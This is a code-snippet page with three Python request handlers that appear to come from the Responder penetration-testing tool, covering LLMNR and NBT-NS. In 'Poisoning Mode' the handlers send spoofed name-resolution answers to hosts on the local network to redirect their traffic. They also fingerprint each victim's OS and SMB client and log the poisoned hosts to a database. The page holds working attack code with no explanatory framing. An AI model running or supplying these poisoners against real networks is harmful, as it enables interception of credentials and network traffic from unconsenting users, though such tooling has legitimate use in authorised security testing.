Exemplo n.º 1
0
    def handle(self):
        data, soc = self.request
        Name = Parse_LLMNR_Name(data)

        # Break out if we don't want to respond to this host
        if RespondToThisHost(self.client_address[0], Name) is not True:
            return None

        if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
            Finger = None
            if settings.Config.Finger_On_Off:
                Finger = fingerprint.RunSmbFinger(
                    (self.client_address[0], 445))

            if settings.Config.AnalyzeMode:
                LineHeader = "[Analyze mode: LLMNR]"
                print color(
                    "%s Request by %s for %s, ignoring" %
                    (LineHeader, self.client_address[0], Name), 2, 1)
            else:  # Poisoning Mode
                Buffer = LLMNR_Ans(Tid=data[0:2],
                                   QuestionName=Name,
                                   AnswerName=Name)
                Buffer.calculate()
                soc.sendto(str(Buffer), self.client_address)
                LineHeader = "[*] [LLMNR]"
                print color(
                    "%s  Poisoned answer sent to %s for name %s" %
                    (LineHeader, self.client_address[0], Name), 2, 1)

            if Finger is not None:
                print text("[FINGER] OS Version     : %s" %
                           color(Finger[0], 3))
                print text("[FINGER] Client Version : %s" %
                           color(Finger[1], 3))
Exemplo n.º 2
0
    def handle(self):

        data, socket = self.request
        Name = Decode_Name(data[13:45])

        # Break out if we don't want to respond to this host
        if RespondToThisHost(self.client_address[0], Name) is not True:
            return None

        if data[2:4] == "\x01\x10":
            Finger = None
            if settings.Config.Finger_On_Off:
                Finger = fingerprint.RunSmbFinger(
                    (self.client_address[0], 445))

            if settings.Config.AnalyzeMode:  # Analyze Mode
                LineHeader = "[Analyze mode: NBT-NS]"
                print color(
                    "%s Request by %s for %s, ignoring" %
                    (LineHeader, self.client_address[0], Name), 2, 1)
                SavePoisonersToDb({
                    'Poisoner': 'NBT-NS',
                    'SentToIp': self.client_address[0],
                    'ForName': Name,
                    'AnalyzeMode': '1',
                })
            else:  # Poisoning Mode
                Buffer = NBT_Ans()
                Buffer.calculate(data)
                socket.sendto(str(Buffer), self.client_address)
                LineHeader = "[*] [NBT-NS]"

                print color(
                    "%s Poisoned answer sent to %s for name %s (service: %s)" %
                    (LineHeader, self.client_address[0], Name,
                     NBT_NS_Role(data[43:46])), 2, 1)

                SavePoisonersToDb({
                    'Poisoner': 'NBT-NS',
                    'SentToIp': self.client_address[0],
                    'ForName': Name,
                    'AnalyzeMode': '0',
                })

            if Finger is not None:
                print text("[FINGER] OS Version     : %s" %
                           color(Finger[0], 3))
                print text("[FINGER] Client Version : %s" %
                           color(Finger[1], 3))
Exemplo n.º 3
0
	def handle(self):
		try:
			data, soc = self.request
			Name = Parse_LLMNR_Name(data).decode("latin-1")
			# Break out if we don't want to respond to this host
			if RespondToThisHost(self.client_address[0], Name) is not True:
				return None
			if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
				Finger = None
				if settings.Config.Finger_On_Off:
					Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
	
				if settings.Config.AnalyzeMode:
					LineHeader = "[Analyze mode: LLMNR]"
					print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
					SavePoisonersToDb({
							'Poisoner': 'LLMNR', 
							'SentToIp': self.client_address[0], 
							'ForName': Name,
							'AnalyzeMode': '1',
							})
				else:  # Poisoning Mode
					Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
					Buffer1.calculate()
					soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
					LineHeader = "[*] [LLMNR]"
					print(color("%s  Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
					SavePoisonersToDb({
							'Poisoner': 'LLMNR', 
							'SentToIp': self.client_address[0], 
							'ForName': Name,
							'AnalyzeMode': '0',
							})
				if Finger is not None:
					print(text("[FINGER] OS Version     : %s" % color(Finger[0], 3)))
					print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
		except:
			raise